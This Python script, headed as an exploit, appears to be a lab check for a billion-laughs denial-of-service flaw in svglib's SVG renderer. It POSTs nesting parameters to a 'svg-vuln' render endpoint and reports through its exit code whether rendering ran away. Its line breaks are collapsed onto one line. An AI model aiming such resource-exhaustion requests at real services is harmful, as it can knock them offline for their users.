#!/usr/bin/env python3 """CVE-2026-132275 — standalone exploit: svglib billion-laughs DoS. A ~1.7KB nested- SVG drives unbounded node expansion in svg2rlg (CPU/memory exhaustion). svglib <= 2.3.0. ./exploit.py [--host=svg-vuln] Exit 1 = unbounded expansion (timeout); 0 = safe; 2 = unreachable. """ import http.client, json, sys host = "svg-vuln" for a in sys.argv[1:]: if a.startswith("--host="): host = a.split("=", 1)[1] c = http.client.HTTPConnection(host, 8080, timeout=30) try: c.request("POST", "/render", body=json.dumps({"levels": 6, "fanout": 10, "timeout": 12}), headers={"Content-Type": "application/json"}) d = json.loads(c.getresponse().read() or b"{}") except Exception as e: print("[-] unreachable: %s" % e); sys.exit(2) finally: c.close() if d.get("timed_out") or (d.get("elapsed", 0) > 8 and not d.get("completed")): print("[+] nested- SVG (%s bytes) did not finish rendering within 12s (unbounded expansion)" % d.get("svg_bytes")) print("[+] RESULT: SVG billion-laughs resource-exhaustion DoS (CVE-2026-132275)"); sys.exit(1) print("[-] fixed: expansion capped at 10000, rendered in %ss" % d.get("elapsed")); sys.exit(0)